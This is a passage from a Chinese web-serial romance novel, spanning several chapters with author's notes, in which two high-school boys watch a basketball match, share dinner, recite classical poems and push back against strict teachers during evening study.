江淮说:“你班同学想吃,帮他带一份,麻烦转交给他。” 班主任:“……” 他的手不争气地把袋子接了过来。 江淮收回手往外走。 两步之外楚明倚在墙边看他,淡淡地说:“你干什么?” “合着你只对我硬气吗?”江淮拧了下眉,“他妈的送外卖的都没你这么卑微。” 楚明:“……” “怎么,心疼别人的面子了?”江淮冷声。 楚明默着没说话,只是看着他,眼里情绪不明。 “还是在害怕?”江淮看着他:“害怕他们的报复反击?” 楚明轻顿:“没。”他很轻地叹了叹气,“谢谢。” 江淮抿唇,绕过他往楼下走。 楚明抬眼看了一秒他的背影,提步跟上。 21班早读向来是一人挑大梁,十人偷寂寥——喇叭哥声震寰宇。 大马猴巡逻在班级过道之间,走过后门瞄见什么又立马折回来,厉声:“你们干嘛去了?” “他腿疼,”楚明迅速站到江淮身前,说:“我扶他去厕所。” 江淮:“……” “哦,”大马猴看了看江淮的腿:“下次上厕所早点去,快回座位抓紧时间早读。” 楚明点头:“好的老师。” 说着他搀着江淮的手臂把人往里带去。 江淮随手拈起桌上的英语课本乱翻两页,偏头瞥他:“张口就来啊你。” “或者你选迟到罚站一天。”楚明淡淡地垂下眼睑。 江淮看着他,挑眉“啧”了一声—— 作者有话说:楚明:是的,做自己。 刚刚看了评论区一个读者宝贝说的话,我突然有些愧疚。 好像确实我做一些事的时候没有考虑到最该考虑的人。 还挺感动的,因为在我入v之前就有一批读者陪着我,还跟了这么久,见证褴褛的我(抱歉我没有首先考虑你们的权益) 也不知道怎么弥补,就紧急更新了一章。 希望大家阅读愉快,其余的事情责备我就好! 不要放在心上,也不要影响到自己的心情[亲亲] 第 38 章 “江队长,怎么样?”…… 早读结束后江淮到走廊把靠墙放的白色背包拎到教室。 楚明接过:“谢谢。” “嗯, ”江淮应了声:“书给我。” 楚明撕开拉链把书包里那本瞧着都像新书的数学教辅掏出来,放到他桌上。 江淮把书翻开,与此同时一张试卷掉了出来。 他低眸往地上瞥了眼, 是昨晚那张。 “能再讲一遍吗?”江淮捡起试卷摊到他桌面上问。 楚明轻顿:“不能。” “为什么?”鲜少被他拒绝, 江淮一时来了兴致。 楚明看着他:“我讲题收费。” 江淮:“……” 从今早上楚明车开始,沿途一路他都觉得楚明身上笼罩着一些不太明朗的气息。 与平时比相当违和。 而在这层陌生的感觉里,他却偏偏觉得好奇,想试探着看看这张面皮之下是否还藏着些什么不可示人。 以及, 楚明到底是个什么样的人? “怎么收费?”江淮挑了下眉:“我买你一天。” 楚明:“……” 他轻轻叹气, 抬手拈过桌上的红笔,说:“第二问恒成立问题求解未知数范围……” 江淮凑过去听。 “哥们你也是真敢听,”赵逵逵熟练地霸占到前桌位置, 坐下听了两耳朵,趁着楚明在验证函数最小值时说:“难道最近流行反向讲题?学渣教学霸。” 楚明:“……” 江淮扫了他一眼:“你没事干?” “有事有事,”赵逵逵忙说:“正想找你结果撞上楚明讲题, 好奇地听了两秒, 还真挺像那回事,差点给我忽悠过去。” 也是经他提醒,江淮才想起楚明六十七分的数学成绩。 他轻拧眉, 看着赵逵逵冷声:“他讲给我听你在这评价什么?” 赵逵逵:“……” 敢情被江淮讨厌还能收获跟收了保护费似的庇佑吗? 他摇了摇头:“哥们, 兄弟我终究是错付了——不过你们在讲什么?什么趋近于极限极值点我都没听过。” 楚明:“……” 江淮:“……” 江淮默了两秒:“你找我干嘛?” “今下午篮球赛, 八中对三中, ”赵逵逵说:“想问你感不感兴趣, 我给你留个前排位置。” 江淮挑眉:“旷课看你打球?” “……不是不是,哥们我在你心中的形象有这么差?”赵逵逵说:“八中校长喜欢运动,还挺喜欢承办球类赛事活动,一般都是哪个年级打哪个年级可以停课去看, 合法合规不违纪。所以你要我给你留位置吗?” “留吧,”江淮说,“谢谢。” “不客气,”赵逵逵站起身来,“下午我来找你。” 说着他三两步往外蹦回自己的位置。 楚明平静地得出结论:“所以,只需要f(1)≥0 ,也即:实数a的取值范围为 (?∞,?1/2〕。” “嗯,”江淮应道,给草稿本倒翻到最后一页重算时问:“你对球赛感兴趣吗?” 楚明收回红笔:“一般。” 江淮轻挑眉:“那你对什么感兴趣?” 楚明从桌肚里掏出下一节课教材:“学习。” 江淮:“……” 他三下五除二把五种分类讨论情况讨论完,得出相同结论后在题号前打了个空心五角星。 偏头,问:“是吗?” 楚明淡定地应道:“是。”- 江淮午休完便按赵逵逵说的位置到球场。 “我给楚明留了位置,”赵逵逵说:“哥们你讨厌人跟喜欢人一样,我拿捏不住就乱把握了。” 江淮:“……” “今天是场硬战,”赵逵逵说:“我听说今年三中新上任的队长很专业,来之前连着赢好几场——兄弟们先热好身,老子不管战术只靠实力!” 江淮轻顿:“战术还是需要的。” 赵逵逵怔了两秒:“啊?” 江淮淡淡地扫过这群打过一两手交道的人,退了些坐到荫凉下的看台,说:“三中比你们厉害。” 赵逵逵&八中高二篮球队:“……” “哥们你什么意思?”赵逵逵说:“虽然我个人实力比你稍微逊色一些,但团队能力我还是拿得出手的!去年我们篮球队还是市里亚军!” 江淮微抬起头看他:“没什么意思,赛前提醒。” “……兄弟们热身!”赵逵逵立刻振奋起来:“让我哥们瞧瞧我们队真正的实力!” 江淮:“……” 天热,下来晒头皮准备煎蛋的同学并不多,毕竟下午课程改自由活动,一多半还是选择留在教室自习或是八中半日步行游。 但坐满篮球场内小小的看台倒也不成问题。 江淮坐姿随意,胳膊肘架在大大张开的两腿上,手指拧着瓶盖玩。 余光瞥见一抹熟悉的身影,他歪头往那边看去。 江淮挑眉:“来了?” “嗯,”楚明坐到他旁边,对领他过来的男生道谢后,轻拧眉:“要我来做什么?” 江淮拧瓶盖的动作停住:“什么叫要你来?” 楚明顿了下:“那我回去了。” “哎!”江淮拉住他手腕,把人往身边一带:“来都来了,看半场吧。” 楚明:“……” 十分钟前他正自着习,莫名其妙就被一个男生叫出去,说有人给他留了位置请他去看篮球。 那现在显然这个“有人”便是江淮或者……赵逵逵。 他轻顿,拉开和江淮几乎没有距离的距离,看向场内。 篮球场外环着横幅,表明这是场市级赛事。 裁判评委们单独就位后,就见三中篮球队队员陆续上场。 打头的便是三中新任队长严越。 “哟呵,17号有点小帅啊。” “来开一局,我赌三中赢,一包辣条!” “我们还是太逊了,别人还有教练,我们这边就拿体育老师凑数……” 哨声吹响,比赛正式开始。 江淮粗略地扫过几眼,八中篮球队个头优势很大,看着挺莽但明显不如三中队员灵巧快活,开局短短几分钟便被快攻战术拉开五分差距。 他很轻地啧了声。 啧到一半,肩头一重。 江淮偏眸看去,楚明正靠在他肩头睡得不知天地为何物。 江淮:“……” 这场球打得虽然一般,但还没烂到能催眠的程度吧。 “喂,”江淮轻拍他大腿,低声说:“你他妈睡我身上?” 楚明并没有回应。 平稳而温热的呼吸起伏在他耳畔,肩头皮肤上为数不多的细胞感知并传导着楚明偏过来的脸颊上的微热与软意,江淮怔愣住。 呼吸有瞬间的停滞,心跳似乎被牵制着被迫提速,好一会儿才回落到正常频次。 一把给楚明抡开并让他以地为床的想法戛然止于欲望之初。 他身体微微绷紧,除此之外并无别的表示。 攥着水瓶的手指收拢,江淮重新看向球场。 上半场结束,八中队悻然地走到旁边,赵逵逵被拉开的十分差距弄得有些发愣。 “我操?”他猛灌几口水:“真让江淮说准了。” 大喘着气的队员问:“队长,我们下半场怎么打?” 赵逵逵坐下,招呼起队友开始商量战术。 而三中这边显然松弛得多。 17号严越搭着毛巾擦汗时,还走到看台区这边摆了摆手。 引得一众激烈的欢呼。 严越笑了笑,抬起右手做了个把全体音量压下去的姿势。 欢呼声不降反升,他无奈地挑了下眉。 江淮看着他这一系列傻逼的动作,没眼看地盯着地面。 几秒后狭窄的视野里多出一双球鞋,和一声吊儿郎当的:“江队长,怎么样?” 江淮抬头扫了他一眼:“一般。” “下半场我努力,”严越笑着,他早猜到会是这么个答案,毛巾扫过后颈汗水时他看着楚明眉梢一挑:“哥们好久不见你成gay了?” 江淮:“……什么?” “嗯?”严越先是同热情的观众招了招手,才闲下劲来看江淮,下巴点了下他肩上靠着的人:“你不是不喜欢别人碰吗?这男朋友啊?” 江淮拧了下眉:“你他妈在乱说什么。” “哦不好意思,”严越笑了笑:“我还以为你对付家里人已经到了这种无所不用其极的程度——” 听到哨声他伸手指了下球场:“晚点找你,我还有半场。” 江淮轻顿:“嗯。” 严越走位风骚地回到场地内,笑容收敛,熟练站位。 他扭头对队员们说:“别松劲,打赢我请客!” 下半场在哨声里迅速点燃,但赵逵逵这次换下战术之后并没有上半场被压着打那么狼狈。 但还是狼狈。 严越开场以一个漂亮的三分赢得满场欢呼,分数牌被连翻三次。 江淮被欢呼声吵得不耐烦。 低眸一看楚明睡得跟头死猪一样,耳膜都能震碎的声浪愣是没撼动他的睡眠质量半分。 他轻顿,严越的话控制不住地在脑海回响。 男朋友? 连他妈的朋友都还算不上吧。 “再不起来我抽你啊,”江淮伸出食指戳了戳他锁骨。 楚明还睡着。 “你他妈昨晚偷牛去了?”江淮有些无语,想一把糊开他脸又不太舍得,只能任由他靠着。 毫无悬念三中以9分优势收割走来自八中观众席的欢呼。 “其实已经很不错了,”体育老师过来安慰:“惜败惜败。” 赵逵逵:“……” 他往脸上灌水,清凉一夏后皱眉说:“后半场人一直放水。” 体育老师随和道:“放宽心,惨败而已。” 赵逵逵&八中高二篮球队:“……” 想到什么,赵逵逵正想去找江淮,就见欢呼庆祝完的三中队长,截了球还跟他秀的17号正笑着往江淮旁座坐去。 我操? 赵逵逵看得一阵懵逼,和队友边怀疑球生边****地走出球场,还一步三回头地看着江淮的背影- “谢了,”严越接过江淮扔过来的水,要喝之前扫了眼他肩上的人:“不是个吃醋的主吧?” 江淮白了他一眼:“你他妈谈不成恋爱来膈应我?” 严越差点被空气给呛死。 他连忙拧开瓶盖喝水润喉,润完才惊魂未定地说:“我靠江淮你说话越来越刺了,换个人就躺地上口吐白沫了知道吧?” 江淮并不CARE,只淡淡扫他一眼:“找我干嘛?” “兄弟一场半年没见我还不能来叙叙旧?”严越说:“但我真没想到你会在八中——我听彩妞说你去过一次网吧就再无音讯,我还以为你他妈英勇就义了呢。” 江淮扯了下唇。 “周六晚上吃顿饭吧,”严越把空瓶子扔到场外蓝皮垃圾桶里,“我请客。” 江淮轻顿:“好。” “不是,”严越没忍住往旁边看去:“聊半天他都没醒,害羞装睡呢?” 江淮说:“……他单纯睡得沉。” “噢,”严越意味深长地眯了眯眼:“睡眠习惯都了解,睡过了?” 江淮又白他一眼。 他和严越从小一起打球,严越是什么狗屎属性他清楚。 嘴上骚得没边,当初他队里那群清白的脑子们就是让他层出不穷生猛干糙的荤段子染黄的。 江淮啧了声:“何止睡过,连睡一周了都。”—— 作者有话说:明天继续啊[星星眼] 第39章 第 39 章 “牵个手不至于吧。”…… “哎操, ”严越忍不住笑出了声:“说真的,新朋友?” 江淮低眸扫了楚明一眼:“算是吧。” “侧脸挺帅的,”严越说:“要愿意的话你把他也带来呗, 让我们拓展一下在八中的人脉。” 江淮淡淡地说:“再说。” “行, 看人意见吧。”严越站直身子时抬了抬下巴:“他不醒你就一直这么坐着?” 江淮轻叹气:“那能怎么办?” 严越微妙地皱了下眉毛:“哥们,你不对劲儿啊。” 江淮说:“什么?” “亲兄弟都不让靠的江淮,居然要被靠到对方自然醒,”严越歪了歪头, 神情复杂地看着他:“我不会还真是一语成谶了吧?” 江淮淡淡地扫他一眼:“滚蛋, 回你队练球。” “OK!”严越比了个手形,伸手:“周六见,记得带上这位。” 江淮跟他击掌:“滚。”- 严越回三中球队简单复盘休整后便上车离开了。 篮球场地内不幸被抽中的班级派学生下来清扫场地。 江淮坐太久坐得腰酸背痛, 估计左肩连锁骨那片麻得都能当佐料煮火锅了,他实在忍不了了。 抬手拍了拍楚明的脸。 下手没控制住轻重,估计楚明被拍得有些生理反应, 本能地逆着他手的方向偏过脸。 脸颊忽地擦过一片软热。 江淮扬在半空的手彻底僵住, 他不可置信地抬起食指往左半边脸蹭过。 没有口水的湿黏。 但有格外细腻的触感,楚明嘴唇跟他妈带着电离子似的,擦过皮肤还激起一连串的战栗。 操。 江淮抹了一把脸, 低吼道:“你再不醒我他妈给你投篮筐里去!” 楚明依旧没醒。 江淮:“……” 几辈子欠的觉要攒到今天来补? 他噌地站起来, 手勾过楚明的脖子往自己身边用力一带。 楚明梦里迷糊地倒腾着双腿, 凌乱地走了好几步才如梦初醒地睁开眼。 灿亮的阳光普照球场, 他睡太久, 眼前只余下一阵灰扑扑的朦胧。 楚明眨了眨眼,嗓音沙哑:“嗯?” 江淮冷眼看着他,等他站稳才松手,拍了拍他的脸:“醒了?” 楚明眼前晃动着的白色光点像游鱼一样四窜而去, 好半会儿天才是天的颜色,他轻顿:“嗯。” “你他妈昨晚没睡吗?”江淮曲指叩了下他前额正中心。 楚明吃痛,反应过来拧了下眉:“抱歉。” 江淮:“……” 大概率是真没睡或者睡得不好,三四个小时的深度睡眠并没有让楚明看起来神清气爽,只有睡觉兴致被打断后隐忍着的不悦。 他轻顿:“吃晚饭了,傻逼。” 楚明揉了揉眼,迷迷糊糊地跟上- 第一次晚饭时间来食堂,还挺稀奇。 不过发现菜品完全一致且让人毫无食欲之后,江淮把楚明推到了自己前面:“你选。” 楚明:“……” 他经验丰富地走到最右侧的窗口,拿出饭卡:“阿姨,两碗泡面。” 江淮轻顿,收回饭卡走到旁边拿了两双筷子和铁勺。 占到座位他起身去端。 泡面确实是食堂比较安全的选择,不需要厨师亲自上场并施展无限才华,风险极低。 再者煮食的泡面配些菜肉什么的也比自己去泡有食欲一些。 楚明埋碗里喝了两口汤,才用筷子开始搅面,问了句:“今天谁赢了?” 江淮挑眉:“全程睡完还关心战况呢。” 楚明咬断一小口面,嚼着没说话。 他没睡醒更没睡爽。 现在是处于一种轻度耳鸣的迷糊状态,食堂的喧嚣听不真切; 还有些许迷蒙的视野滤镜,食堂的杂乱看不分明。 只眼前的江淮还算清晰,他嚼完,微哑的嗓音说:“是三中赢了吗?” “你还真挺会猜,”江淮下意识转手里的东西,意识到是筷子后紧急刹车。 楚明淡淡地勾了下唇:“八中输给三中是历届传统。” 江淮没忍住问:“为什么?” 楚明默了一会儿才说:“他们说三八妇女节。” 江淮:“……” 神他妈的三八妇女节三在前八靠后。 他被这破笑话冷得瑟瑟发抖,实在憋不住偏过头笑了笑。 楚明摸了摸鼻尖,也偏过去笑笑。 好半会儿肩头的颤抖频率回归平静,他才认真地答:“因为三中体育特招生多,八中更重文化成绩。” 江淮坐正,“这点倒是。” 吃完晚饭走出食堂,还卷裹着白日炽热的风浪扫过裸露的肌肤,莫名舒服。 江淮吃得有点撑,抬手拐了下楚明:“陪我走一圈。” 楚明顺着他的手往旁边走出一步:“嗯?” 江淮说:“消消食。” 塑胶跑道在长达十二小时的强光曝晒之下泛出蔫巴的气质,跟火山岩浆吐泡泡似的时不时鼓出些难闻的味道。 散步闲走的人不少,稀稀拉拉又二三成群。 “八中抓早恋吗?”江淮问。 楚明点头:“抓。” “怎么抓?”江淮目光擦过几个手牵手一起走的,问:“这群都挺明目张胆的。” 楚明往他看的地方瞥去。 几对男女靠得很近,手臂擦着手臂,他们垂在身侧的手就跟榫卯结构似的合拢在一起。 他轻顿:“牵个手不至于吧。” 江淮正想反驳说这还不够暧昧的吗,转眼就见自己还就着方才拐人的姿势缠着楚明的手臂,他到口的话就顺着空气沉淀到喉管以下。 他淡定地缩手,保持些距离:“嗯,不至于。” 楚明:“……” 这食消得并不久,简简单单绕完两圈就往教学楼的方向走。 沿途不幸地撞到出校门买回来碗凉面的大马猴。 “你这腿别多走,安心养伤,”大马猴把凉面背到身后,说。 “嗯,”江淮淡淡地退开一步:“我的腿不需要您操心。” 大马猴:“……” 他在内心咆哮:你以为谁关心你的腿,老子要不是给我的亲亲宝贝凉面打掩护都不会看你俩一眼!一眼都不会! 但都说内心狂热的人都有一张温凉的脸,大马猴慈眉善目地点了点头:“那老师祝你早日康复。呃,吃完饭早点回教室学习,马上又要周考,你们要多查漏补缺,好吧?” 江淮:“……好。” 楚明乖巧地点头:“谢谢老师。” 回到教室才发现什么叫半日不见如隔一点五个秋。 晚自习还没开始,但学生基本坐得满满当当。 讲台上站着只灵敏的猴儿,在张牙舞爪地唱歌:“……也许我没有天分,但我有梦的天真……” 没有麦克风,全靠出厂设置发力。 一顿叽哇乱叫惊得江淮甚至收回了已经跨进后门门槛的左脚。 楚明习以为常且淡定自若地走回位置。 在声嘶力竭要把肺都甩出来吼的一声“向前跑——”里,江淮神奇地对21班产生了一丝从未有过的…… 敬畏之情。 “这是做什么?”江淮就近问了下赵逵逵。 “我操!心脏病给我吓出来。”赵逵逵连拍好几下胸脯,惊魂未定地仰头看他,松下一口气才说:“晚自习前有励志歌曲环节,正巧你来那段时间在商议什么事情就耽搁了——之后也会有,你问楚明嘛。” 江淮顿了一下:“……嗯。” 励志歌曲环节其实就是唱歌,21班趁班主任没在提前嗨了一会而已。 “下面是励志歌唱环节——”广播一分钟后才播响。 江淮明白过来,从座位上站起来看着负责点歌&领唱的喇叭哥,下意识偏了下耳朵。 喇叭哥可能脑袋上长兵乓,经典重现地back了那首“向前跑——” 江淮头疼:“操。” 楚明卷起桌角一本书,抬手往江淮背上拍了拍,借着他后背和墙壁之间还算适中的距离,抬脚跨了出去。 江淮敏锐地抓住他手腕:“你去哪?” “……我想在那里最高的山峰矗立……”喇叭哥激情地励志着。 环境太吵,楚明凑过来贴他耳边说:“背书。” “我也去。”江淮说着就从椅子里走出来,跟着他一路走出喧嚣的教室。 往走廊走差不多十多步,才勉强感觉属于21班的灵魂飘散出耳朵。 “靠,”江淮拧了下眉:“好吵。” 楚明在“何以解忧?唯有杜康”的默背里抽出一秒的间隙回他:“嗯。” 江淮跟楚明再度进入语文办公室。 “来背书?”卫疏从袋子里抽出两颗黑芝麻丸递给他俩:“吃不吃?” “谢谢老师。”楚明一齐接过,转手把两颗都塞到江淮手心。 黑芝麻丸很难吃。 江淮愣了下:“谢谢。” 楚明今天要背的两首诗很短,两分钟不到就流畅背完,眼见卫疏在背诵表上给他打满三个小勾,他坐到角落把随手抽带出来的数学教辅翻开做题。 “你也背吗?”卫疏含着黑芝麻丸笑眯眯地说。 江淮顿了下,“试试吧。” 他不知道背诵任务有哪些,昨天听楚明被《赤壁赋》,今天听他背《短歌行》《归园田居》。 索性这些篇目知名度高,他小时候读过。 江淮站到办公桌旁,正要开背,就见卫疏摆摆手说:“你找楚明背,我批改默写,偶尔听两句就行。” 他轻顿:“……好。” 楚明神情认真地看着枕在大腿上的数学题,闻声抬了下眼。 江淮则靠着旁边的墙,低眸看着他:“听着。” 楚明:“……” 江淮不是那种一泻千里稍有卡顿便全局崩掉的背法,当然也不是一字一卡听得人不知今夕是何年。 咬词清晰,流畅迅速。 声音也挺有质感…… 楚明看着他没什么波澜的眼睛,捏着笔的手松了些。 中指往里一拨拉,黑笔利落地腾转而起。 卫疏忍不住回头看了江淮一眼:“你背成这样默写错一半?” 江淮:“……” 他转过头看她:“考得也不是这篇啊。” 卫疏“哦”了一声,转回来继续看还剩半拳高的默写本,隔了一会儿才说:“这周默写篇目范围就是你背的,另外加上《离骚》,这周好好考。” 江淮轻顿:“嗯。” 十分钟的背书时间就在预备铃声中宣告结束,江淮楚明赶在正式铃响之前回到教室。 公共自习课一般情况下由班长守。 “老规矩,”刘明宇推了推眼镜,从讲台上抬起脑袋说:“说话的人站讲台上来,直到逮住下一个说话的才能下去,都安静自习吧。” 遵他话的不多,毕竟老师不在他们就是王。 班级内部无数个角落里都在竞演蚊子的接班人。 “赵西!”大马猴不知道什么时候便开始秘密工作了,一个大跨步冲进教室前门指着靠窗后排的人看见学生就是一声吼啊:“给我站起来!” 正叽里咕噜喜笑颜开的赵西笑容啪嗒就凝固在脸颊。 江淮稀奇地看了一眼: 原来他前桌叫赵西。 “站讲台上来!”大马猴吼两声给自己吼得红得发紫了,清完嗓子调整音量:“安静自习,别再有人被我逮到!” 赵西与他同桌惜别,站到饮水机前看着安静得屁都崩不出来的普罗大众一顿扼腕叹息。 大马猴前脚刚走,他就开始物色能顶替自己的目标。 但这种事吧,太容易得罪人——女生不方便点,男生的话,脸皮厚能随便得罪的又不多。 思来想去他熟练地用出一招:“班长,楚明在说小话!” 刘明宇抬起头来,张了张嘴但没发出声音。 “楚明上来。”赵西求助无能后选择自力更生,“我听见你说话了。” 班上学生也很配合地一致扭头看向后排角落里的人,窃笑着交流着。 楚明把笔放下,敛起两张试卷就起身。 江淮先是看了赵西一眼,而后才淡淡扫向楚明,幽深不明的瞳仁里似乎刻着一个大大的问号。 楚明没心情解答,见他没有要让的意思。 抬腿就从他腰后的小空间里跨了出去。 江淮:“……” 赵西笑嘻嘻地走下来,经过楚明时拍了下他的肩:“谢了。” 楚明轻点了下头:“没事。” 他走到饮水机旁背对讲台站着,沉默地夹着试卷看。 没管教室里明显的嗡嗡声。 刘明宇朝楚明看了一眼,捞起戒尺往讲台上敲了一下:“安静一点。” “让楚明抓人上去啊!”跟被踩中尾巴的老鼠叫声似的尖锐声从教室中间传出。 “就是就是,他自己不抓人还怪我们喽?” 楚明就跟失聪了一样听不见起哄,淡漠的情绪染至眼尾眉梢。 但他前额发尾挡住神情,看得倒像个胆小怯懦大气不敢出的老实人。 江淮目不转睛地看着他。 两息之后他抬脚踹了一下聊得正欢快的赵西的座椅。 赵西吓得端起课桌就站起身,在一众探究的视线下艰涩地扭头看向江淮:“你踢我?” “嗯,”江淮越过他径直和饮水机前抬眼看来的楚明对视,眼里缀着零星笑意,他淡淡开口:“没办法,他不抓我上去。”—— 作者有话说:今天的作者有些词穷,给大家笑一个:(叉腰)哈哈哈哈哈哈哈。 歌是《追梦赤子心》,挺好听的,虽然文里看着有点抽象但作者没有任何恶搞的意思[眼镜] 第40章 第 40 章 “没有区别,你是对的。…… 赵西:“……” 楚明:“……” “你!”赵西把课桌原封不动地放回原处, 站到过道里觉得汹涌的内心只有强烈的想吐血的冲动,他可怜兮兮地说:“班长,江淮欺负同学!” 刘明宇被封印在他的黑框眼镜后面, 沉默好久才和事佬上身地说:“先安静, 等会学生会的可能会巡课。” 赵西:“……” 他只能忍着一腔怒火坐下,还心有余悸地把座椅往前拉了些。 座椅靠背和江淮的桌沿能拉出一条楚河汉界的程度。 班级里安静下来,生怕下一秒江淮能踹得他们端桌而起似的。 楚明垂下目光,看着试卷上密密麻麻的字, 连着三四分钟愣是没思考出南非玉米能够广泛种植的自然原因是什么。 他脑海里全是江淮的声音。 以及江淮含着笑意的眼睛。 他极轻地叹息一声, 甩掉脑海里隐隐有些疯狂到出界的想法,他提笔在掌心端着的卷面上落下一排字: 玉米喜温喜湿,南非热带草原气候, 玉米生长季雨热充足。 第一节自习完美落幕,楚明从讲台上走下来时,赵西忽地起身, 猛撞到他胳膊后抬脚就往外走。 楚明想退但赵西前桌恰好起身卡着他后背。 他被撞之后还连带着磕了下赵西前桌。 “你有病吗?”赵西前桌皱着眉:“你撞我干什么?” 楚明转身, 熟练:“抱歉。” 赵西前桌乱七八糟说了些人类听不懂的东西后,撞开楚明往外走,余音绕梁:“烦死了。” 楚明大腿别着顶靠了下空课桌桌沿, 没作什么反应地走回座位。 赵西前桌冲出后门进到自己阵营, 从后门口探进去头小声交流。 “不是, 这都没生气?牛批。” “我还怕那位给我踹一脚就跑得飞快, 结果……诶嘿!” “牛逼牛逼, 看得我好爽。”- 江淮懒散地仰坐着,后脑勺轻贴墙壁,右手指尖交替着点在桌面。 掀起眼皮看着走到自己旁边准备进去的楚明。 他指尖停住,抬起下巴说:“能听听你的想法吗?” 楚明眼睫颤了下, 夹在两指之间的试卷被捻得皱巴,他轻声说:“没什么想法。” 江淮挑了下眉:“什么?” 楚明垂眼:“我对这些没什么感觉,相反还挺自在的。” 江淮:“……” 他微顿,反应过来没忍住:“操。” 楚明抬手拍了下他后肩:“让我一下,谢谢。” 江淮歪了下头,有些无语地起身给他让出进去的空间。 楚明坐进去后江淮看了他一会儿,转了圈笔后才坐下来写题。 公共自习结束后剩下两节有科任老师镇守,学习氛围史无前例的浓厚——当然参照对象是上节课。 “自己做作业,”徐红梅吩咐完,就开始在教室过道间进行有氧运动:“顺便把上周周考试卷摆在桌面右上角,我检查大家的改错情况。” 她这后半句话就跟太后下懿旨赐死一样,一众起义造反的野心止不住地燃烧。 但还是被她一声“安静点”给浇灭了。 江淮不理解。 把空白得只划了几条线,顺着习惯做好a、e、r、k记号的文综试卷掏出来放到桌面右上角。 楚明余光瞥了他白得跟死人脸似的卷面一眼,替他默哀两秒后收回视线。 徐红梅连着检查并批斗好几位同学的改错不认真并发号“罚站”指令之后,站到了江淮旁边。 都不需要捡起试卷细看就气得血液倒流! 她当即怒吼:“你这是改的什么?!” 江淮写字动作一停,“改错。” 徐红梅:“……” 她指着几近空白的卷面的手指都在抖,怒气冲冲地捞起前桌的赵西:“你来说,我说的改错要求是什么?” 赵西扛着这飞来黑锅苦命地站起来:“把答案抄一遍,除此之外还要在材料里勾画答案出处。” “坐下吧,”徐红梅缓了缓:“你看看你改的是什么?画两条线就行了吗?首先态度就没摆端正,你学得好个屁!” 江淮扫了眼自己的试卷,不解:“我态度挺端正的。” “……你还跟我犟?”说着徐红梅随手把赵西的试卷抽过来拍在江淮桌上,“你看看,别人的改错和你的改错,你纯粹就是应付了事!” 江淮看着这张多余的试卷。 卷面空白全被红笔填充满令人眼睛痛的狗爬字,材料里时间点、人名、句子中心语全被圈起来满试卷地牵线。 跟月老似的。 “人家这才叫改错,”徐红梅说:“你这次改错作业没完成,历史课都给我罚站三天。重新按赵西的试卷标准改错,明天上课、哦不,下课之前交给我看。” 江淮斜乜她一眼:“等一下。” 徐红梅看着他。 “我改错有自己的习惯,”江淮尽量平和地说。 “嘿哟,你考三十几分跟我说你有自己的习惯,”徐红梅冷笑一声:“我就是脚上涂点墨水在答题卡上乱踩都比你考的分高,还跟我扯有自己的习惯!” 江淮拧了下眉:“我就是考零分也可以有自己的习惯。” 徐红梅:“……行,我管不了你。” 她气得抬手就往里捡起楚明桌上的试卷,检查完气冲冲地把试卷甩回去。 又往前开始搜刮其他同学的改错情况。 大概是逮到一个紧急找补的人,立马吼起来:“站起来!改的是什么狗屎东西,站着给我改,改不完请家长!” 同学颤颤巍巍地端着卷子开始握笔摩擦起火。 气氛顿时紧张起来,还有些放松地说悄悄话的人都受不住气压地闭起小嘴巴。 仅用少得可怜的余光去确定徐红梅的位置。 江淮弯腰捡起飞到自己鞋边的楚明的试卷。 捡起来瞄过上面满当当的痕迹,挑了下眉。 捞过草稿本在上面一顿输出。 楚明接过试卷时往推过来的草稿纸上瞄了一眼。 抄一遍答案和看一遍答案区别在哪? ——江淮。 楚明轻顿。 江淮今天还挺不一样的,没直接跟徐红梅杠回去。 若是几天前的江淮,大抵是会不顾情面地跟她掰扯并极大可能会让她去踩一份答题卡并扫描阅卷看看实力…… 他看着草稿纸上这些略带情绪、过分飘逸的字。 或许江淮想问的不只是他,还有徐红梅。 楚明拈笔,写道: 因人而异。但老师只有一个,你就当练字…… 两秒后他连着几下杠掉这排字,杠得几乎认不清具体字样时,他重新写道: “没有区别,你是对的。” 江淮抽过草稿本瞄看了眼上面的回答。 意外地勾了下唇,转着笔好半天都没有做出其他回应- “勇猛,无需多言哥们,”赵逵逵顶开赵西,坐下来竖起大拇指:“我真觉得你太帅了!” 江淮:“……” 赵逵逵因为没改错罚站完一节课,这会边松松腿边看着江淮没收回去的试卷说:“不过你这确实改得有点少,徐师太从讲台上走到我位置的时间我都写满一个空白了,你这么多准备时间都不临时赶一下吗?” 江淮开做今天的数学题,随便应付他一句:“我改过了。” “……哥们你就不用蒙我了,她都走了,兄弟我不揭发你。”赵逵逵指着他试卷:“还有你这a、r、k是啥?” 江淮淡淡瞥他一眼:“改错过程。” 赵逵逵:“……” 他瞪圆眼睛去看坐在面前的这个人,提了好几次气才说出口:“那今天确实不怪徐师太,你这改错我都看不下去。” 江淮拧了下眉:“是你的错题么?要你看懂。” 赵逵逵:“……哦,也是啊。” 他摸了摸鼻子,他江哥说话确实有点帅,但帅得有点冲,他缓了一会儿才说:“哦,对,今下午的球赛哥们我确实有些失手,但哥们我的实力你不用怀疑,下一次就赢回来了——你跟三中队长认识啊?” 江淮有些不耐烦了:“朋友。” “难怪,我还以为他社牛到随便拉个观众就开始开屏了呢,”赵逵逵点了点头:“是这样的,我能不能邀请你到我们球队浅浅指导指导?” 江淮说:“为什么?” “我看网上说你之前是青训营的,”赵逵逵说:“太拉风了。主要赛前吧你一语道破我们战术的问题,我觉得你肯定能带领我们八中校队更牛逼。” 江淮:“……” 他眉心明显地压了一下,指缝间转着的笔一个不稳飞砸到后面的黑板报、被弹到地上滚了两圈。 他冷声:“不感兴趣。” 赵逵逵心想今天又拍都马腿上了? 百般忧思地从地上帮忙捡起黑笔还给江淮,心大地说:“行吧行吧,等你感兴趣了我们随时欢迎啊!” 江淮接过笔,转了一圈。 笔又不慎飞了出去。 这回是落在楚明桌面上,正巧砸到他的笔尾巴,连带着撞歪一笔。 楚明看着纸上被迫拉出的一条长长的、震得细小节点跟分割线似的黑痕:“……” 江淮手指捏着空气。 迎上楚明空白的目光后他搓了把空气。 抬手从他桌面把自己不争气的黑笔捡回来,但凑过去脸颊不小心贴上楚明脸颊的一瞬间,江淮不可遏制地轻颤。 瞬间想起下午楚明往他脸上蹭的那一下,他才摸到的笔又落回桌面。 楚明:“……” 他没看下去,把笔捡起来扔回去:“你手也伤了?” “没,”江淮坐回去,捏着笔好一会儿才重新转笔。 最后一节自习没有任何风波地过去了。 江淮这回不需要蹭楚明的书包,带上两本常用教辅就起身,习惯性地等一下楚明。 并肩走到一楼平台,江淮往前楚明向右。 楚明淡淡地说:“再见。” 楼道间声控灯熄灭,楼间教室里的灯稀疏地映亮楚明侧脸。 